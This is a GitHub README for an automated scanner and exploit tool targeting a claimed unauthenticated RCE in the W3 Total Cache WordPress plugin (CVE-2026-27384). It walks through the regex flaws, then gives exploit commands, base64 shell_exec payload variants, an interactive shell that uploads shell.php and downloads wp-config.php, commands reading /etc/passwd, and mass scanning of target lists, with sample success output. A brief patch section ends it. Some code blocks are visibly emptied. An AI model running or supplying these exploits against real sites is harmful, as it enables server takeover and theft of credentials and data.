xxconi/CVE-2026-27384
GitHub: xxconi/CVE-2026-27384
针对 WordPress W3 Total Cache 插件 mfunc/eval() 远程代码执行漏洞(CVE-2026-27384)的自动化扫描与利用工具,支持无认证条件下通过评论注入实现 RCE。
Stars: 0 | Forks: 0
# CVE-2026-27384
# CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE 扫描器
## 📌 漏洞概述
W3 Total Cache 插件的 **Dynamic Fragment Caching** 功能(`mfunc/mclude` 系统),
会使用 `eval()` 执行嵌入在 HTML 注释中的 PHP 代码。
负责保护此功能的 `W3TC_DYNAMIC_SECURITY` token,由于多个代码缺陷的结合,
可被绕过。
**结果:** 无需身份验证,只需发送一条 WordPress 评论,
即可在服务器上执行任意 PHP 代码。
## 🔍 漏洞概述表
| 字段 | 值 |
|---|---|
| **CVE ID** | CVE-2026-27384 |
| **CVSS** | 9.8 Critical |
| **类型** | 代码注入 → RCE (CWE-94) |
| **受影响版本** | <= 2.9.1 |
| **已修复版本** | 2.9.2 |
| **身份验证** | 不需要 |
| **用户交互** | 不需要 |
| **前提条件** | W3TC_DYNAMIC_SECURITY 必须包含 regex metacharacter |
## ⚙️ 技术分析
### 功能:mfunc / mclude
W3TC 的 Dynamic Fragment Caching 功能允许开发者通过特殊的注释标签
将 PHP 代码嵌入到页面 HTML 中:
```
```
W3TC 在从缓存提供页面时会处理这些标签:
嵌入的 PHP 代码会通过 `eval()` 执行,其输出将替换注释块。
### 缺陷 1 — 缺少 `preg_quote()` (`PgCache_ContentGrabber.php`)
```
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
```
如果 Token 是 `'.'`,则正则表达式变为 `` →
**任意单个字符** 都可以替代 Token。
### 缺陷 2 — `\s*` vs `\s+` 不匹配
| 功能 | 匹配模式 | 行为 |
|---|---|---|
| `_parse_dynamic()` — **执行** | `mfunc\s*TOKEN` | 接受 0 个空格 ✅ |
| `strip_dynamic_fragment_tags_from_string()` — **清理** | `mfunc\s+TOKEN` | 强制至少 1 个空格 ❌ |
```
Saldırgan payload:
↑
mfunc ile token arasında BOŞLUK YOK
strip fonksiyonu: \s+ → eşleşmez → payload KALIR
execution regex: \s* → eşleşir → eval() ÇALIŞIR
```
### 缺陷 3 — 缺少 Token 验证 (`_has_dynamic()`)
```
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~~Uis',
$buffer
);
}
```
### 完整攻击链
```
W3TC_DYNAMIC_SECURITY = '.' (regex metacharacter — herhangi bir karakter)
│
▼
Saldırgan yorum gönderir:
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → \s+ gerektirir, boşluk yok → ATLATILDI ✅
│
▼
Yorum veritabanına kaydedilir, sayfa cache'lenir
│
▼
İkinci HTTP isteği → W3TC cache'den sunar
_has_dynamic() → mfunc\s*. → 'A' eşleşir → true döner
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' eşleşir
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
```
## 🔴 攻击影响
无需身份验证,即可在服务器上以 Web 服务器权限执行任意 PHP 代码:
- ✅ 完全控制服务器
- ✅ 读取/写入/删除 WordPress 文件和数据库
- ✅ 安装 Web shell / 后门
- ✅ 渗透到内部网络 (Pivot)
- ✅ 窃取凭证、API 密钥和用户数据
## 🚀 安装
```
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
```
**requirements.txt**
```
requests
beautifulsoup4
```
## 📖 使用说明
### 模式
| 模式 | 说明 |
|---|---|
| `auto` | 扫描站点 → 查找评论页面 → 执行 exploit(默认) |
| `exploit` | 直接利用 — 提供评论的 post URL |
| `shell` | 交互式 shell |
| `detect` | 仅检测 W3TC |
### Auto 模式 — 全自动化
```
python w3tc_rce.py https://hedef.com
```
扫描器会执行以下操作:
1. 检查是否安装了 W3TC
2. 通过 Sitemap 和链接抓取,寻找带有评论表单的页面
3. 对每个页面尝试 48 种 payload 变体
4. 如果成功,则提供开启 shell 的选项
### Exploit 模式 — 直接利用
```
# id 命令
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# 读取 /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# 读取 wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# 手动 Post ID
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
```
### Shell 模式 — 交互式
```
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
```
Shell 开启后,会自动执行 `whoami`、`hostname`、`pwd`、`uname -a`:
```
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Komutlar: exit | upload | download
=================================================================
┌──(w3tc@hedef.com)
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(w3tc@hedef.com)
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──(w3tc@hedef.com)
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
```
### Detect 模式 — 仅检测
```
python w3tc_rce.py https://hedef.com --mode detect
```
```
[+] W3TC kurulu!
Sürüm : 2.9.1
Cache : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!
```
### 批量扫描
```
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
```
### 使用代理
```
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
```
## ⚙️ 所有参数
| 参数 | 简写 | 说明 | 默认值 |
|---|---|---|---|
| `url` | — | 单个目标 URL | — |
| `--list` | `-l` | 目标列表文件 | — |
| `--mode` | — | 运行模式 | `auto` |
| `--cmd` | — | 要执行的命令 | `id` |
| `--post-url` | — | 带有评论的页面 URL | — |
| `--post-id` | — | WordPress post ID | — |
| `--max-pages` | — | Spider 最大抓取页面数 | `50` |
| `--threads` | `-t` | 线程数 | `10` |
| `--output` | `-o` | 输出文件 | `w3tc_results.txt` |
| `--proxy` | — | 代理 URL | — |
| `--no-color` | — | 无颜色输出 | `False` |
| `--verbose` | `-v` | 详细输出 | `False` |
## 💀 Payload 结构
### mfunc 无空格绕过
```
Standart tag (strip tarafından yakalanır):
↑
boşluk var → \s+ eşleşir → strip siler
Bypass tag (strip'i atlatır, eval() çalışır):
↑
boşluk YOK → \s+ eşleşmez → strip ATLAR
\s* eşleşir → eval() ÇALIŞIR
```
### Base64 编码
为避免 HTML 编码问题,PHP 代码会进行 base64 编码:
```
# 命令: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f""
```
### 48 种 Payload 变体
| 分组 | 函数 | 绕过字符 | 编码 |
|---|---|---|---|
| b64_shell_exec | `shell_exec` | A, B, X, 1 | Base64 |
| b64_system | `system` | A, B, X, 1 | Base64 |
| b64_passthru | `passthru` | A, B, X, 1 | Base64 |
| b64_exec | `exec` | A, B, X, 1 | Base64 |
| b64_popen | `popen` | A, B, X, 1 | Base64 |
| raw_* | 所有函数 | A, B, X, 1 | 原始格式 |
## 🔄 Exploit 流程
```
1. W3TC Tespiti
└─ readme.txt, header, body, plugin dizini
2. Yorum Sistemi Tespiti
└─ HTML form, REST API, post ID
3. Payload Enjeksiyonu (48 varyant)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML Form: POST /wp-comments-post.php
4. Cache Tetikleme
├─ 1. istek → cache miss → sayfa render → cache'lenir
└─ 2. istek → cache hit → _parse_dynamic() → eval()
5. Çıktı Çıkarma
└─ uid=, whoami, /path/, passwd, wp-config...
```
## 🖥️ 示例输出
### Auto 模式
```
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] Hedef: https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] Yorum sayfası: https://hedef.com/?p=1 (post_id=1)
[1] W3TC tespiti...
[+] W3TC bulundu! Sürüm: 2.9.1
[2] Yorum sistemi tespiti...
[+] Post ID: 1 | Form: True | REST: True
[3] Payload enjeksiyonu (id)...
[i] 48 payload varyantı hazır
[4] Cache tetikleniyor...
[★] RCE BAŞARILI!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
Komut : id
Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] Sonuçlar kaydedildi → w3tc_results.txt
[?] Shell aç? (y/n):
```
### 批量扫描摘要
```
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 zafiyet bulundu!
[+] Sonuçlar kaydedildi → w3tc_results.txt
```
## 📁 文件结构
```
cve-2026-27384/
├── w3tc_rce.py # Ana scanner
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
```
## 🛡️ 防御 / 补丁
| 措施 | 说明 |
|---|---|
| **插件更新** | 升级至 W3 Total Cache 2.9.2+ 版本 |
| **禁用 mfunc** | 如果未定义 `W3TC_DYNAMIC_SECURITY`,该功能将无法工作 |
| **强 Token** | Token 应仅包含字母数字字符 (`[a-zA-Z0-9_]+`) |
**安全的 token 示例 (`wp-config.php`):**
```
// ❌ Tehlikeli — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Güvenli — alfanümerik
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
```
**2.9.2 补丁 (`_parse_dynamic()`):**
```
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote eklendi
$buffer = preg_replace_callback(
'~~Uis', // ✅ \s+ (en az 1 boşluk)
...
);
```
## ⚠️ 法律警告
## 📄 许可证
MIT 许可证 — 仅用于教育和研究目的。
## 🔗 参考
- [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [W3 Total Cache 插件](https://wordpress.org/plugins/w3-total-cache/)
- [CODE WHITE GmbH](https://code-white.com)
- [CWE-94: 代码生成控制不当](https://cwe.mitre.org/data/definitions/94.html)
- [OWASP 代码注入](https://owasp.org/www-community/attacks/Code_Injection)
- [PHP eval() 安全](https://www.php.net/manual/en/function.eval.php)
- [PHP preg_quote()](https://www.php.net/manual/en/function.preg-quote.php)
标签:CISA项目, Go语言工具, OpenVAS, PHP, WordPress插件, 加密, 漏洞扫描器, 编程工具, 远程代码执行, 逆向工具